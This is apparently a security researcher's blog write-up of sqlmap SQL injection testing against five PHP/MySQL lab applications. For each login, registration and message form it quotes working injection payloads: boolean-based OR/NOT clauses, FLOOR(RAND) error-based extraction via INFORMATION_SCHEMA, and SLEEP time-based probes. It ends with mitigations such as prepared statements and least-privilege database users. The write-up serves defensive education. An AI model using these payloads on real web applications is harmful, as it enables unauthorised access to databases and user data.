Home Cyberlogs SQL Injection — 5-Target Summary
Security Research — SQL Injection

SQL Injection Testing Across 5 Web Applications

A consolidated summary of ethical SQL injection testing conducted across five PHP/MySQL web applications in a controlled lab environment using sqlmap. All five targets were found vulnerable — with boolean-based blind, error-based, and time-based blind injection vectors confirmed.

Habtamu Bitew Gashu March 10, 2025 10 min read Controlled lab environment sqlmap / MySQL
All testing was performed on local or controlled-environment web applications. No production systems or real user data were targeted. Payloads are sanitized for publication. This research is documented for educational and defensive purposes only.

Between February and March 2025 I ran a series of SQL injection assessments against five PHP/MySQL web applications deployed in isolated lab environments. The targets ranged from a simple login page to a multi-form travel management system. Every application tested returned at least one confirmed injection point.

All tests used sqlmap — the open-source SQL injection automation tool — and all findings are presented here with sanitized payloads. The goal is to document real-world vulnerability patterns and provide actionable mitigations for developers.

5
Apps Tested
5
Vulnerable
1552
HTTP Requests
7
Injection Points

Vulnerability Matrix

Summary of injection types found across all five targets. All apps ran PHP on Apache with a MariaDB/MySQL backend.

Target Boolean-Based Error-Based Time-Based Requests
Local Web App (LOG-001) 119
Travel System — Login (LOG-002) 769
Travel System — Forms (LOG-003) 260
User Registration — Email (LOG-004) 272
Bus Management System (LOG-005) 132

Local Web App — Login Form

LOG-2025-001
Local Test Web Application
2025-03-10 119 HTTP requests PHP 8.2.4 / Apache 2.4.56 MySQL ≥ 5.0 (MariaDB)

A straightforward login form with a user POST parameter exposed three distinct injection vectors. This is the most complete injection profile in this test series — all three major blind and in-band types were confirmed.

Boolean-Based Blind Error-Based Time-Based Blind
ParameterMethodInjection Type
userPOSTBoolean-based blind (OR clause)
userPOSTError-based (FLOOR)
userPOSTTime-based blind (SLEEP)
sqlmap — LOG-2025-001 Boolean-Based Blind
# Parameter: user (POST) — OR boolean-based blind
user=-5459' OR 3914=3914#&pwd=sdfgsdf
sqlmap — LOG-2025-001 Error-Based (FLOOR)
# Parameter: user (POST) — MySQL FLOOR error-based
user=dfgsdf' AND (SELECT ... FLOOR(RAND(0)*2))-- VRPJ&pwd=sdfgsdf
sqlmap — LOG-2025-001 Time-Based Blind
# Parameter: user (POST) — SLEEP-based time delay
user=dfgsdf' AND SLEEP(5)-- vbgY&pwd=sdfgsdf
View Full Log

Travel Management System — Login Form

LOG-2025-002
Travel Management System
2025-03-10 769 HTTP requests PHP 8.0.28 / Apache 2.4.56 MySQL ≥ 5.0.12 (MariaDB)

The login form of this travel management system was vulnerable to two injection types. Notably this test required 769 HTTP requests — the highest in the series — suggesting the application had some form of response variation that required more probing to confirm.

Boolean-Based Blind Time-Based Blind
ParameterMethodInjection Type
usernamePOSTBoolean-based blind (NOT clause)
usernamePOSTTime-based blind (SLEEP)
sqlmap — LOG-2025-002 Boolean-Based Blind (NOT)
# Parameter: username (POST) — OR NOT boolean-based
username=ss' OR NOT 9157=9157-- DRkR&password=dd&login=Login
sqlmap — LOG-2025-002 Time-Based Blind
# Parameter: username (POST) — subquery SLEEP
username=ss' AND (SELECT 4945 FROM (SELECT(SLEEP(5)))GSUK)-- OYSx&password=dd
View Full Log

Travel Management System — Multiple Form Inputs

LOG-2025-003
Travel Management System (Multiple Forms)
2025-03-10 260 HTTP requests PHP 8.0.28 / Apache 2.4.56 MySQL ≥ 5.0.12 (MariaDB)

A second assessment of the same travel management system — this time targeting two distinct form inputs on separate pages. Both the login username field and the message form's firstname field were confirmed vulnerable to time-based blind injection. This demonstrates that the lack of input sanitization was application-wide, not limited to one endpoint.

Time-Based Blind (×2 parameters)
ParameterMethodFormInjection Type
usernamePOSTLogin formTime-based blind (SLEEP)
firstnamePOSTMessage formTime-based blind (SLEEP)
sqlmap — LOG-2025-003 (username) Time-Based Blind
# Parameter: username — login form
username=ss' AND (SELECT 7981 FROM (SELECT(SLEEP(5)))JEzE) AND 'QYRN'='QYRN
&password=dd&login=Login
sqlmap — LOG-2025-003 (firstname) Time-Based Blind
# Parameter: firstname — message form (separate endpoint)
firstname=kk' AND (SELECT 8085 FROM (SELECT(SLEEP(5)))rRzr) AND 'XFtD'='XFtD
&message=kk&submit=Submit
View Full Log

User Registration System — Email Field

LOG-2025-004
User Registration System
2025-03-10 272 HTTP requests PHP 8.1.17 / Apache 2.4.56 MySQL ≥ 5.0 (MariaDB)

A user registration endpoint exposed the Email field to all three injection types. The error-based payload here is particularly notable — it uses the INFORMATION_SCHEMA.PLUGINS table with a GROUP BY and FLOOR RAND trick, which can leak data through MySQL error messages when error reporting is enabled.

Boolean-Based Blind Error-Based Time-Based Blind
ParameterMethodInjection Type
EmailPOSTBoolean-based blind (AND clause)
EmailPOSTError-based (FLOOR / INFORMATION_SCHEMA)
EmailPOSTTime-based blind (SLEEP)
sqlmap — LOG-2025-004 Error-Based — INFORMATION_SCHEMA Leak
# Leaks data via MySQL FLOOR(RAND) error in GROUP BY
Email=dd@gmail.com' AND (SELECT 6667 FROM(
  SELECT COUNT(*),
  CONCAT(0x717a6a7871,
    (SELECT (ELT(6667=6667,1))),
    0x7176766271,
    FLOOR(RAND(0)*2)
  )x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x
)a)-- Slta
sqlmap — LOG-2025-004 Time-Based Blind
# Parameter: Email — subquery SLEEP
Email=dd@gmail.com' AND (SELECT 5386 FROM (SELECT(SLEEP(5)))qdfU)-- bygY
View Full Log

Bus Management System — Login Form

LOG-2025-005
Bus Management System
2025-03-10 132 HTTP requests PHP 8.2.12 / Apache 2.4.58 MySQL ≥ 5.0 (MariaDB)

The bus management system login was vulnerable to all three injection types in only 132 requests — the most efficient detection in the series. The NOT-based boolean payload was also used here, alongside the standard error-based FLOOR technique and a SLEEP-based time delay.

Boolean-Based Blind Error-Based Time-Based Blind
ParameterMethodInjection Type
usernamePOSTBoolean-based blind (OR NOT)
usernamePOSTError-based (FLOOR)
usernamePOSTTime-based blind (SLEEP)
sqlmap — LOG-2025-005 Boolean-Based Blind (OR NOT)
# Parameter: username — OR NOT boolean blind
username=sdfg' OR NOT 1458=1458#&password=sdfgdfg&login=Login
sqlmap — LOG-2025-005 Error-Based (FLOOR)
# FLOOR(RAND) error extraction via GROUP BY
username=sdfg' AND (SELECT 4580 FROM(
  SELECT COUNT(*),
  CONCAT(0x7162787871,
    (SELECT (ELT(4580=4580,1))),
    0x7176767071,
    FLOOR(RAND(0)*2)
  )x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x
)a)-- Xqpe
View Full Log

Mitigations — Applied to All Five Targets

Every vulnerability found across these five applications shares the same root cause: unsanitized user input interpolated directly into SQL queries. The fixes below eliminate all identified injection vectors.

01
Use Parameterized Queries / Prepared Statements

The single most effective fix. User input is never interpolated into the SQL string — it is passed as a separate parameter that the database driver handles safely.

// PHP PDO — safe $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);
02
Validate and Sanitize All Input at the Boundary

Even with prepared statements, validate that inputs match expected formats — emails should be emails, integers should be integers. Reject anything that doesn't conform before it reaches the database layer.

03
Suppress Detailed Database Error Messages

Error-based injection (used in LOGs 001, 004, 005) depends on MySQL error output being visible to the client. In production, set display_errors = Off and log errors server-side only.

; php.ini — production display_errors = Off log_errors = On error_log = /var/log/php_errors.log
04
Use an ORM Framework

Frameworks like Laravel's Eloquent, Doctrine, or Django ORM build parameterized queries by default. They eliminate manual query construction errors across the entire application — not just one endpoint.

05
Apply the Principle of Least Privilege

The database user your application connects with should only have SELECT, INSERT, UPDATE permissions on the tables it needs — never DROP, GRANT, or access to INFORMATION_SCHEMA.

-- Create a restricted DB user CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_pass'; GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';

Consolidated Findings

SQLi-SERIES-2025.txt Research Only
SERIES_ID    = "LOG-2025-001 through LOG-2025-005"
DATE         = "2025-03-10"
RESEARCHER   = "Habtamu Bitew Gashu"
TOOL         = "sqlmap (open source)"
METHOD       = "Black-box automated injection testing"
ENVIRONMENT  = "Local / controlled lab — no production systems"

# ── Targets ──────────────────────────────────────────────
TARGET_1 = { "app": "Local Web App",         "requests": 119, "vulns": 3 }
TARGET_2 = { "app": "Travel System — Login",  "requests": 769, "vulns": 2 }
TARGET_3 = { "app": "Travel System — Forms",  "requests": 260, "vulns": 2 }
TARGET_4 = { "app": "User Registration",     "requests": 272, "vulns": 3 }
TARGET_5 = { "app": "Bus Management System", "requests": 132, "vulns": 3 }

# ── Aggregate ────────────────────────────────────────────
TOTAL_REQUESTS       = 1552
TARGETS_VULNERABLE   = 5 / 5  # 100% hit rate
BOOLEAN_BASED_FOUND  = 4  # LOGs 001, 002, 004, 005
ERROR_BASED_FOUND    = 3  # LOGs 001, 004, 005
TIME_BASED_FOUND     = 5  # all five targets
UNIQUE_PARAMS        = ["user", "username", "Email", "firstname"]
BACKEND_STACK        = "PHP 8.x / Apache 2.4.x / MySQL (MariaDB fork)"

# ── Root cause ───────────────────────────────────────────
ROOT_CAUSE   = "Unsanitized user input interpolated directly into SQL queries"
MISSING      = ["Prepared statements", "Input validation", "Error suppression"]